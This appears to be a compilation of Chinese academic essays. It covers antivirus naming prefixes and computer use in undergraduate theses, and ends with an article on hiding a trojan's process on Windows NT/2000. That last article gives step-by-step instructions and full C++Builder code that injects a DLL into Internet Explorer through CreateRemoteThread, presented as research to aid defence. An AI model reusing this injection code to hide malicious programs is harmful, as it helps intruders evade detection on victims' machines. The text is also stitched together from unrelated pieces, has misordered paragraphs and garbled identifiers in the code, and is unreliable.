(一)木馬病毒、黑客病毒木馬病毒其前綴是：Trojan，黑客病毒前綴名一般為Hack。木馬病毒的公有特性是通過網(wǎng)絡或者系統(tǒng)漏洞進入用戶的系統(tǒng)并隱藏，然后向外界泄露用戶的信息，而黑客病毒則有一個可視的界面，能對用戶的電腦進行遠程控制。木馬、黑客病毒往往是成對出現(xiàn)的，即木馬病毒負責侵入用戶的電腦，而黑客病毒則會通過該木馬病毒來進行控制?，F(xiàn)在這兩種類型都越來越趨向于整合了。一般的木馬如QQ消息尾巴木馬Trojan．QQ3344，有大家可能遇見比較多的針對網(wǎng)絡游戲的木馬病毒如Trojan．LMir．PSW．60。這里補充一點，病毒名中有PSW或者什么PWD之類的一般都表示這個病毒有盜取密碼的功能(這些字母一般都為密碼的英文password的縮寫)一些黑客程序如：網(wǎng)絡梟雄(Hack．Nether．C1ient)等。

(二)宏病毒其實宏病毒是也是腳本病毒的一種，由于它的特殊性，因此在這里單獨算成一類。宏病毒的前綴是：Macro，第二前綴是：Word、Word97、Excel、Excet97(也許還有別的)其中之一。凡是只感染W(wǎng)ORD97及以前版本W(wǎng)ORD文檔的病毒采用Word97作為第二前綴，格式是：Macro．Word97；凡是只感染W(wǎng)ORD97以后版本W(wǎng)ORD文檔的病毒采用Word作為第二前綴，格式是：Macro．Word；凡是只感染EXCEL97及以前版本EXCEL文檔的病毒采用Excel97作為第二前綴，格式是：

(三)腳本病毒腳本病毒的前綴是：Script。腳本病毒的公有特性是使用腳本語言編寫，通過網(wǎng)頁進行的傳播的病毒，如紅色代碼(Script．Redlof)可不是我們的老大代碼兄哦。腳本病毒還會有如下前綴：VBS、js(表明是何種腳本編寫的)，如歡樂時光(VBS．Happytime)、十四日(Js．Fortnight．C．S)等。推薦閱讀：遠程開放教育軟件工程專業(yè)畢業(yè)論文

Macro．Excel97；凡是只感染EXCEL97以后版本EXCEL文檔的病毒采用Excel作為第二前綴，格式是：Macro．Excel，依此類推。

(四)后門病毒后門病毒的前綴是：Backdoor。該類病毒的公有特性是通過網(wǎng)絡傳播，給系統(tǒng)開后門，給用戶電腦帶來安全隱患。如很多朋友遇到過的IRC后f]Backdoor．IRCBot。

(五)破壞性程序病毒破壞性程序病毒的前綴是：Harm。這類病毒的公有特性是本身具有好看的圖標來誘惑用戶點擊，當用戶點擊這類病毒時，病毒便會直接對用戶計算機產(chǎn)生破壞。如：格式化c盤(Harm．formatC．f)、殺手命令(Harm．Command．Killer)等。

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1.1 計算機知識儲備量不足

目前，各高校都開設有計算機課程，但仍不能滿足本科畢業(yè)論文實踐的需求。對于本科畢業(yè)論文，主要會用到Office辦公軟件中的Word、Excel、PowerPoint(PPT，Internet文獻數(shù)據(jù)庫，以及文獻管理軟件等。雖然各高校一般都開設有計算機基礎類課程，介紹MicrosoftWindows、Office軟件、Internet的使用，但所授內(nèi)容還不能滿足本科畢業(yè)論文實踐的需要。在畢業(yè)論文寫作時，畢業(yè)生往往感到Word文檔的編排非常的麻煩，需要花費相當?shù)木蜁r間，也給指導老師增添了不少指導負擔。同樣，Excel、PowerPoint、Internet的使用也不盡如人意。除此之外，還有部分軟件知識在已有課程中完全沒有涉及，如文獻管理軟件的使用等。

1.2 計算機硬件設施不足

計算機資源不足嚴重影響畢業(yè)論文的撰寫。學生可利用的計算機資源主要有三種：自有計算機，學校計算機，網(wǎng)吧計算機。對自有計算機而言，雖有調查表明大學生電腦的擁有率已達到50%左右，但對于大多數(shù)來自農(nóng)村的大學生而言，他們的電腦擁有率依然很低。對學校計算機而言，雖然各學校都建立有計算機房，但相比于龐大的學生群體，學校計算機依然不能滿足學生需求，而且學校計算機主要用于教學使用，學生的使用有時間限制。在這種情況下，許多學生不得不求助于網(wǎng)吧，而網(wǎng)吧一般不安裝OFFICE辦公軟件，更不會安裝如AutoCAD這種專業(yè)軟件，也無法訪問學校圖書館數(shù)據(jù)庫。與此同時，畢業(yè)論文的撰寫時間比較集中，往往在一兩個月內(nèi)完成，特別是臨近答辯的幾天里，幾千畢業(yè)生需要計算機修訂論文，計算機的緊張程度可想而知。因而，學生在畢業(yè)論文撰寫過程中，常遇到?jīng)]有計算機可以使用的情況。

1.3 計算機使用缺乏指導

學生進行計算機操作時，缺乏足夠的指導。由于高校擴招，學生數(shù)量急劇增大而教師數(shù)量增加緩慢，導致師生比偏高，嚴重影響教學質量。作為公共基礎課程，幾千名學生的教學工作，往往由十多名教師來完成，師生比甚至高達1:250，很難說學生可以充分得到教師的指導在畢業(yè)論文進行階段，也同樣遇到師生比過高的問題，經(jīng)常遇到一個老師同時指導十幾名學生的現(xiàn)象，教師指導任務重，很難保證指導質量。

2.本科畢業(yè)論文實踐中計算機應用需求

2.1 WORD大型文檔編排

畢業(yè)論文是一種較長的文檔，編排難度相對較大般而言，畢業(yè)論文字數(shù)要求5000字以上，頁數(shù)一般在10頁以上，編排的版式幾乎與出版社正規(guī)出版的書籍類似。這對于平時很少利用Word軟件的學生而言，具有很大的難度，需要重新學習Word的編排技巧。在論文寫作過程中，也容易出現(xiàn)論文排版上的各種問題。

目前，文檔編排軟件很多，但一般采用Mi-crosoftWord完成.對于Word排版問題，應著重解決以下幾方面的問題：①頁面設置；②文字格式的設置；③樣式的應用；④分節(jié)的設置；⑤頁眉頁腳的設置；⑥圖表的繪制；⑦公式的錄入；⑧自動生成目錄。

2.2 Excel表、圖與統(tǒng)計分析

對于大多數(shù)的畢業(yè)論文，都會涉及插入圖表，以及數(shù)據(jù)的統(tǒng)計分析。除文科類論文較少涉及圖表知識外，理工科、農(nóng)科、醫(yī)學等學科的大部分畢業(yè)論文，都會涉及圖表的制作以及數(shù)據(jù)的統(tǒng)計分析。在畢業(yè)論文寫作過程中，部分學生對圖表的制作很是陌生，甚至不知道標準的圖表要求是什么，因而做出來的圖表不僅不美觀，而且也不符合要求。Excel還具有統(tǒng)計分析功能，不僅方便快捷，而且準確可靠，但不少同學不知道Excel具有統(tǒng)計學功能，更不會使用。他們往往采用手算的方法來進行統(tǒng)計分析，耗時耗力，而且還容易出錯。

圖表與統(tǒng)計分析，不僅可以采用Excel，也可以采用更為專業(yè)的軟件，如Origin制圖、Sigmaplot制圖、SAS統(tǒng)計分析、SPSS統(tǒng)計分析等，但以Excel更為方便。對于Execl圖表與統(tǒng)計，應著重解決以下幾方面的問題：①Excel表格的制作(特別是三線表的制作）；②Excel圖表的制作；③Excel函數(shù)與公式；④Excel統(tǒng)計分析工具。除此之外，也可以介紹Origin、Sigmaplot、SAS、SPSS等軟件的使用。

文檔演示畢業(yè)論文答辯時，_般采用PPT展示其研究課題。答辯過程主要包含兩部分，學生陳述和老師提問。學生的自主陳述過程，不僅需要其精彩的陳述，更需要映襯陳述的多媒體展示。目前，大多數(shù)學生往往直接將論文內(nèi)容粘貼到PPT當中，卻不知如何精簡和美化，結果導致PPT臃腫，條理不清晰，沒有層次感。導致這一情況的直接原因就是學生缺乏PPT制作的技巧。

對于PPT的制作，應著重解決以下幾方面的問題：①整體結構設計；②頁面布局設計；③色彩搭配設計；④演講內(nèi)容提煉；⑤媒體元素設置；⑥動態(tài)效果設置；⑦播放策略。

2.4 INTERNET文獻檢索

Internet是獲取科技信息非常方便的渠道。畢業(yè)論文的實踐不是閉門造車，而是他人研究成果的繼續(xù)。因而在研究之前需要查閱大量的文獻。文獻資料主要分為兩種資料：文本資料和電子資料。大部分的研究成果是以期刊論文、會議報告、學位論文等形式最先展示出來的，而這部分資料目前基本都被相關數(shù)據(jù)庫所收錄，存儲在數(shù)據(jù)服務器上。利用互聯(lián)網(wǎng)技術，可以非常方便地查閱到所需要的資料。

對于Internet文獻檢索，應著重解決以下幾方面的問題：①主要中文期刊數(shù)據(jù)庫；②主要英文期刊數(shù)據(jù)庫；③其它類型數(shù)據(jù)庫（如：電子圖書、電子報紙、會議論文、學位論文、標準、專利等）；④檢索策略；⑤檢索技巧。

2.5 ENDNOTE文獻管理

在畢業(yè)論文撰寫過程中，根據(jù)撰寫需要，要對參考文獻進行插入、移動、刪除等各種管理操作。本科畢業(yè)論文的參考文獻數(shù)量一般在20篇左右，而研究生畢業(yè)論文的參考文獻數(shù)量可達100篇以上，對于如此多的文獻，如果采用人工管理的方式，不僅工作量巨大，而且非常容易出錯。通過專業(yè)的文獻管理軟件，可以非常方便地對參考文獻進行處理。文獻管理類軟件有多種，如：醫(yī)學文獻王、風^-express、Endnote、Referencemanager、Notefirst等。不同軟件有自己的特點和優(yōu)勢，重點推薦Endnote文獻管理軟件，當然像Notefrst這種推出時間較短的國內(nèi)免費軟件，也有不錯的口碑。

以Endnote文獻管理軟件為例，應著重解決以下幾方面問題：①參考文獻格式標準；②創(chuàng)建End-note圖書館；③文獻信息錄入；④Word中使用文獻格式模板設置；⑥高級應用。

3.本科畢業(yè)論文實踐中的計算機應用指導

3.1 加強計算機教育課程建設

通過調整課程設置和課程內(nèi)容，引入相關計算機教育內(nèi)容。同時，提高教學質量和水平，加強學生計算機實踐能力的培養(yǎng)。在《計算機基礎》課程中，要將Office辦公軟件引入到課程中，并要達到一定的應用水準。在《試驗設計與統(tǒng)計分析》課程中，可以引入Excel和SAS等軟件知識。在《文獻檢索》課程中，可以引入Internet的使用，數(shù)據(jù)庫查詢和Endnote軟件等知識。在其它專業(yè)課程中，凡涉及到計算機內(nèi)容的，也要盡可能進行上機訓練，提高計算機應用能力。

3.2 加強計算機專業(yè)知識講座

通過專題講座的形式，講解畢業(yè)論文實踐過程中所使用的軟件知識。在畢業(yè)論文撰寫期間，可以通過專題講座，具有針對性地進行輔導。因此，學生可以及時的了解相關知識，并立即加以應用。除了現(xiàn)場的講座形式外，還可以利用網(wǎng)絡的優(yōu)勢，建立網(wǎng)上學習平臺，將學習資源放在網(wǎng)絡上，學生可以隨時查詢相關計算機應用知識。

3.3 加強計算機硬件建設

加大計算機硬件設施的投入力度，優(yōu)化計算機機房管理，提高計算機利用效率。根據(jù)學校人數(shù)和計算機使用的實際情況，合理投入資金進行計算機房的建設，增加計算機的臺套數(shù)。其次，制定合理的管理措施，適當延長計算機房的使用時間，提高計算機房的利用效率，減少計算機的非學習性占用。

3.4 加強指導老師的指導職責

制定畢業(yè)論文指導教師的考核體系，強化指導教師的責任意識，督促教師加強對學生的指導。從學校和學院兩個層次，學校層次要做好畢業(yè)論文指導的全面工作，同時要對計算機應用指導工作提出明確統(tǒng)_的要求，學院則有必要對學校的規(guī)定做出具體的安排和實施辦法。

篇9

畢業(yè)設計是所有工科人才培養(yǎng)方案中規(guī)定的重要實踐性教學環(huán)節(jié)，高等職業(yè)技術學院也不例外。通過該環(huán)節(jié)的教學使學生能夠綜合運用所學理論知識分析、解決實際工程問題，初步掌握設計的一般流程和方法，在設計態(tài)度、工程思想、實踐能力等方面得到系統(tǒng)的鍛煉和提高，為步入工作崗位打下良好的基礎。畢業(yè)設計的質量在一定程度上反映了學生的專業(yè)知識水平、工程素質以及綜合運用各種知識的能力;也在一定程度上體現(xiàn)了指導教師的治學態(tài)度、學術水平和指導設計工作的能力;同時也從一個側面表明了學校的教學質量和管理水平[1].尤其對于工科學生而言，畢業(yè)設計是他們走上工作崗位前的一次預演，應該引起足夠的重視

 

1.當前高等職業(yè)技術學院畢業(yè)設計(論文)存在的問題

 

1.1 學生思想重視不夠， 投入精力不足

 

由于目前就業(yè)形勢嚴峻， 一部分學生忙于參加各種各樣的招聘會和公司面試， 在畢業(yè)設計環(huán)節(jié)上投入精力甚微。畢業(yè)設計的時間與實習、頂崗或長升本(接本)時間重合，在兩者不可兼顧的情況下， 多數(shù)學生都選擇了工作或接本為主， 而不是做畢業(yè)設計。

 

1.2 選題不恰當

 

選題恰當是做好畢業(yè)設計( 論文) 的前提， 我院制訂的"無錫商業(yè)職業(yè)技術學院物聯(lián)網(wǎng)技術學院?？粕厴I(yè)設計( 論文) 工作的若干規(guī)定"規(guī)定了選題的基本原則。

 

盡管如此， 但是選題不當?shù)那闆r仍然時有發(fā)生， 表現(xiàn)在：(1) 論文題目大多由指導教師給定，學生并不感興趣， 因此更談不上對題目的意義有比較深入的思考; (2) 論文題目與學生的發(fā)展方向不一致。例如有的學生是軟件方向的， 但指導教師指定的題目卻是硬件方向的等等， 對于所用到的一些技術學生知之甚少; (3) 論文選題陳舊，圖書管理系統(tǒng)題、學生管理系統(tǒng)等類似的題已經(jīng)做了多少年了， 每年都在做， 又沒有發(fā)展， 毫無創(chuàng)新性可言; (4) 選題脫離社會實踐， 所使用的技術屬于基本已經(jīng)淘汰的技術， 對學生綜合能力培養(yǎng)的幫助不大;

 

1.3 指導教師缺乏經(jīng)驗， 指導強度大

 

由于計算機專業(yè)發(fā)展比較晚， 具有豐富項目實踐經(jīng)驗的老教師十分稀缺。而隨著近幾年計算機專業(yè)擴招， 高校引入了大批的年輕的畢業(yè)生充實教師隊伍， 這些年輕教師本身充滿活力， 敢想敢干， 不足之處在于他們多是畢業(yè)后直接從事教學工作， 實際的工程項目實踐經(jīng)驗不足， 而計算機專業(yè)本身是一個實踐性要求很強的專業(yè)， 沒有這些實踐體會， 就很難理解軟件開發(fā)過程、軟件技術如何應用到生產(chǎn)這些問題， 從而影響了畢業(yè)設計的質量;

 

1.4 畢業(yè)設計過程缺乏監(jiān)督

 

一般按慣例， 指導教師與學生之間每星期至少應見面兩次， 了解學生畢業(yè)設計的進展情況。然而由于受到學生找工作、升本(接本)等特殊情況的影響， 很難堅持下來。學生缺乏主動性， 不愿意主動找指導教師交流， 因此使得畢業(yè)設計的過程缺乏監(jiān)督。

 

1.5 論文抄襲現(xiàn)象時有發(fā)生

 

我校對論文抄襲現(xiàn)象處置甚嚴， 這也是對學生實事求是的科學態(tài)度和嚴肅認真的工作作風的培養(yǎng)， 然而， 部分學生報著僥幸和偷懶心理， 往往將網(wǎng)絡上檢索到的多篇論文稍加修改， 重新組織加工， 從而就變成了自己的畢業(yè)論文。有的學生甚至一字不改， 原文照搬。

 

總的說來，目前有的高等職業(yè)技術院校的畢業(yè)設計(論文)工作中的主要問題是少了一點“規(guī)矩”，即使有規(guī)矩也是“老規(guī)矩”。對隨著教育和教學改革的深化而出現(xiàn)的新情況遇到的新問題，缺乏深入的研究和及時的改革。

 

2.畢業(yè)設計(論文)的定位

 

計算機應用專業(yè)是一門綜合性非常高的學科，該專業(yè)軟件、硬件及系統(tǒng)的開發(fā)、應用、維護等工程領域，是一個縱向較深，橫向較廣的復合性、綜合性專業(yè)。畢業(yè)設計(論文)是學生綜合運用所學知識，分析、解決實際問題，培養(yǎng)獨立思考、獨立工作的能力，接受高等職業(yè)技術人員所必需能力的基本訓練的重要教學環(huán)節(jié)。畢業(yè)設計(論文)首先具有教學與教育功能，是實現(xiàn)專業(yè)培養(yǎng)目標，對學生進行設計科學教育，培養(yǎng)探求真理的科學精神，強化工程意識，進行工程基本訓練，提高學生科學研究能力、工程實踐能力、創(chuàng)新能力和經(jīng)濟意識的重要階段;是培養(yǎng)學生優(yōu)良思想品質，進行綜合素質教育的全面檢驗。其次，畢業(yè)設計(論文)成果具有直接或間接為經(jīng)濟建設服務，為生產(chǎn)、科研服務的社會功能。隨著教育和教學改革的深化，對人才培養(yǎng)模式的改革，專業(yè)的拓寬改造，對人才培養(yǎng)提出了新的更高要求，我們更應高度重視畢業(yè)設計(論文)的基本要求和質量評價，使學生更清楚地知道怎樣主動做好畢業(yè)設計(論文)，使指導教師更清楚地知道如何對學生進行指導，使管理人員知道怎樣抓住實質問題管理到位，以保證畢業(yè)設計(論文)的質量。

 

3.有關應對措施

 

3.1 加強學生思想教育

 

如何提高高校畢業(yè)設計的質量， 已成為一個日益引起教育界關注的話題。筆者陋見， 根本措施應當是加強學生教育， 使學生引起重視。其實多數(shù)高校和指導教師對于加強學生思想教育的重要性都深有體會， 但具體實施起來總覺得效果不如想象中好， 關鍵是在于“循循善誘”幾個字。筆者今年指導的幾個學生中， 也有個別學生對畢業(yè)設計重視不夠，設計時敷衍了事， 做好畢業(yè)設計，是為了對自己四年學習劃上一個圓滿的句號， 也是對個人責任心的一次考驗， 從而端正了態(tài)度， 主動性大大提高。

 

3.2 在畢業(yè)設計之前做專題講座

 

由于學生都是第一次參加畢業(yè)設計， 所以對如何進入狀態(tài)， 開始畢業(yè)設計工作， 如何查閱資料， 如何分階段完成， 如何撰寫開題報告和畢業(yè)論文， 如何對畢業(yè)論文的章節(jié)規(guī)劃、內(nèi)容安排和格式規(guī)范等知識缺乏認識， 因此在畢業(yè)設計之前有必要做專門針對畢業(yè)設計如何開展的專題講座。

 

3.3 選題是關鍵， 鼓勵學生到企業(yè)進行畢業(yè)設計

 

選題是整個畢業(yè)設計(論文)的核心， 正確、恰當?shù)剡x題是做好畢業(yè)設計(論文)的前提， 應首先把好選題關。在我系首先原則上把一人一題作為選題工作的重要原則少數(shù)課題比較大時， 可以分成幾個小課題， 但必須保證每個學生都是單獨完成自己的課題，防止學生互相“幫忙”的發(fā)生。

 

畢業(yè)設計(論文)題目需經(jīng)過教研室討論、教研室主任審核、系主任批準。對于一些過易、任務過輕或所使用的是一些過時技術的題， 堅決要求進行重選。通過這些做法，保證了畢業(yè)設計(論文)題目的質量， 學生也反映良好。

 

開展學生畢業(yè)設計的一種新做法， 是讓學生到就業(yè)單位去做畢業(yè)設計， 利用企業(yè)的經(jīng)費、場地和技術力量， 完成企業(yè)需要的技術課題， 實行校企聯(lián)合指導方式。一方面， 可培養(yǎng)學生工程設計和科學研究能力及團隊合作精神， 使學生了解和掌握實際工程設計和科研的全過程;另一方面，工作單位的實際課題， 任務明確， 要求具體， 時間性強， 能激發(fā)學生的工作熱情和主動性， 增強學生的事業(yè)心和責任感。同時， 便于用人單位和學生較早互相了解， 有利于學生就業(yè)后盡早地進人工作角色。我系目前對于這種新的指導方式正進行嘗試和摸索，從目前的效果來看，很受學生和用人單位的歡迎。[2]

 

3.4 過程管理很重要

 

開題報告完成以后， 就進入了漫長的實際設計過程。要增強對學生的監(jiān)督和督促機制， 防止學生偷懶。其一，要增強指導教師的責任感;其二，可引入現(xiàn)在一些軟件公司常用的做法，要求學生寫周報，讓學生每周對自己畢業(yè)設計的工作進展， 取得的成果或碰到的困難做一次記錄。這樣既避免了學生臨時報佛腳，不做設計只寫論文的情況發(fā)生，又使學生的整個設計過程都有案可查， 增加了對畢業(yè)設計評分的合理性和公正性。[3]

 

3.5 如何杜絕論文抄襲現(xiàn)象

 

論文抄襲是學術界十分不齒的行為，應當給學生灌輸這種思想。學生大多都是第一次撰寫學術論文，一旦養(yǎng)成了抄襲的壞毛病，則日后對己對人都貽害無窮。一方面，應當將“對畢業(yè)論文抄襲進行嚴厲懲罰”寫入到畢業(yè)論文的要求規(guī)范當中去，一旦發(fā)現(xiàn)，絕不姑息;另一方面，指導教師可通過耐心教導，擊潰學生的僥幸心理，讓學生明白，抄襲的論文是無所遁形的。

 

3.6 改善評判學生畢業(yè)設計質量

 

學生的畢業(yè)設計質量由兩部分來衡量：

 

一是設計成果的質量， 包括軟件的功能、所采用的開發(fā)技術、人機界面等部分組成， 可通過現(xiàn)場演示和答辯來評分;

 

二是畢業(yè)論文質量，根據(jù)課題完成情況和答辯情況由指導教師、評閱教師和答辯小組分別按畢業(yè)設計(論文)評閱、評審評分標準采用“結構分”進行評定，其中指導教師成績占30%，評閱教師成績占30%，答辯小組成績占 40%

 

(1)指導教師評定成績

 

根據(jù)指導教師評審評分標準從學生工作量、工作態(tài)度、技術方案、分析與解決問題的能力、設計(論文)質量、創(chuàng)新等方面進行評定。

 

(2)評閱教師評閱成績

 

根據(jù)省教育廳的有關文件精神，要求每位學生的畢業(yè)設計(論文)必須由兩位熟悉相應課題內(nèi)容的教師(可以是外聘教師)進行評閱，評閱評分標準從畢業(yè)設計(論文)內(nèi)容、學生工作水平以及論文撰寫規(guī)范共同確定，每位評閱教師必須單獨填寫評閱表。

 

(3)答辯

 

成績主要由答辯小組根據(jù)答辯評審評分標準從學生的報告內(nèi)容、報告過程、回答問題以及學生在畢業(yè)設計 (論文) 中的創(chuàng)新等方面進行評定。畢業(yè)設計(論文)成績按優(yōu)秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五級分評定，其中優(yōu)秀比例控制在 20%以內(nèi)。[4]

 

篇10

關鍵字進程線程木馬動態(tài)鏈接庫

木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序，由于木馬程序是運行在遠程主機上，所以進程的隱藏無疑是大家關心的焦點。

本文分析了WindowsNT/2000系統(tǒng)下進程隱藏的基本技術和方法，并著重討論運用線程嫁接技術如何實現(xiàn)WindowsNT/2000系統(tǒng)中進程的隱藏。

1基本原理

在WIN95/98中，只需要將進程注冊為系統(tǒng)服務就能夠從進程查看器中隱形，可是這一切在WindowsNT/2000中卻完全不同，無論木馬從端口、啟動文件上如何巧妙地隱藏自己，始終都不能躲過WindowsNT/2000的任務管理器，WindowsNT/2000的任務管理器均能輕松顯示出木馬進程，難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了？我們知道，在WINDOWS系統(tǒng)下，可執(zhí)行文件主要是Exe和Com文件，這兩種文件在運行時都有一個共同點，會生成一個獨立的進程，尋找特定進程是我們發(fā)現(xiàn)木馬的方法之一，隨著入侵檢測軟件的不斷發(fā)展，關聯(lián)進程和SOCKET已經(jīng)成為流行的技術，假設一個木馬在運行時被檢測軟件同時查出端口和進程，我們基本上認為這個木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統(tǒng)管理員來說都是可見的，要想做到木馬的進程隱藏，有兩個辦法，第一是讓系統(tǒng)管理員看不見你的進程；第二是不使用進程。本文以第二種方法為例加以討論，其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中，遠程進程則是合法的用戶程序，這樣用戶管理者看到的只是合法進程，而無法發(fā)現(xiàn)木馬線程的存在，從而達到隱藏的目的。

2實現(xiàn)方法

為了弄清實現(xiàn)方法，我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL，DLL是DynamicLinkLibrary（動態(tài)鏈接庫）的縮寫，DLL文件是Windows的基礎，因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯，是由多個功能函數(shù)構成，它并不能獨立運行，一般都是由進程加載并調用的。因為DLL文件不能獨立運行，所以在進程列表中并不會出現(xiàn)DLL，假設我們編寫了一個木馬DLL，并且通過別的進程來運行它，那么無論是入侵檢測軟件還是進程列表中，都只會出現(xiàn)那個進程而并不會出現(xiàn)木馬DLL，如果那個進程是可信進程，（例如瀏覽器程序IEXPLORE.EXE，沒人會懷疑它是木馬吧？）那么我們編寫的DLL作為那個進程的一部分，也將成為被信賴的一員，也就達到了隱藏的目的。

運行DLL方法有多種，但其中最隱蔽的方法是采用動態(tài)嵌入技術，動態(tài)嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說，在Windows中的每個進程都有自己的私有內(nèi)存空間，別的進程是不允許對這個私有空間進行操作的，但是實際上，我們?nèi)匀豢梢岳梅N種方法進入并操作進程的私有內(nèi)存。動態(tài)嵌入技術有多種如：窗口Hook、掛接API、遠程線程等，這里介紹一下遠程線程技術，它只要有基本的進線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。

遠程線程技術指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。我們知道，在進程中，可以通過CreateThread函數(shù)創(chuàng)建線程，被創(chuàng)建的新線程與主線程（就是進程啟動時被同時自動建立的那個線程）共享地址空間以及其他的資源。但是很少有人知道，通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程，被創(chuàng)建的遠程線程同樣可以共享遠程進程（是遠程進程）的地址空間，所以，實際上，我們通過一個遠程線程，進入了遠程進程的內(nèi)存地址空間，也就擁有了那個遠程進程相當?shù)臋嘞蕖?/p>

3實施步驟

1）用Process32Next（）函數(shù)找到宿主進程,獲取宿主進程ID,并用

OpenProcess（）函數(shù)打開宿主進程。

2）用VirtualAllocEx（）函數(shù)分配遠程進程地址空間中的

內(nèi)存。

3）用WriteProcessMemory（）函數(shù)將待隱藏的DLL的路徑名。

4）拷貝到步驟二已經(jīng)分配的內(nèi)存中。

5）用GetProcAddress（）函數(shù)獲取LoadlibraryA（）函數(shù)的實地址（在kernel32.dll中）。

6）用CreateRemoteThread（）函數(shù)在遠程進程中創(chuàng)建一個線程。

7）它調用正確的LoadlibraryA（）函數(shù)。

8）為它傳遞步驟二中分配的內(nèi)存地址。

4具體實例

下面是在C++Builder4.0環(huán)境下編寫的運用遠程線程技術隱藏木馬的程序代碼：

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數(shù)

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進程快照句柄

HANDLEhRemoteProcess;//遠程進程句柄

LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個進程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進程，以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

}

else

{

MessageBox(NULL,"取第一個進程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠程進程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設hide.dll是待隱藏的進程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態(tài)鏈接庫函數(shù)地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創(chuàng)建遠程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關閉遠程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關閉進程快照

}

該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

至此，遠程嵌入順利完成，為了試驗我們的hide.dll是不是已經(jīng)正常地在遠程線程運行，我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試：

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當前進程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208），該測試DLL彈出了1208字樣的確認框，同時使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經(jīng)在IEXPLORE.EXE進程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成，未作改動，故略之。

5結束語

進程隱藏技術和方法有很多，而且這一技術發(fā)展也相當快，本文僅從一個側面加以討論，希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識，同時也為我們防范他人利用進程隱藏手段非法入侵提供參考，本文拋磚引玉，不當之處誠懇批評指正。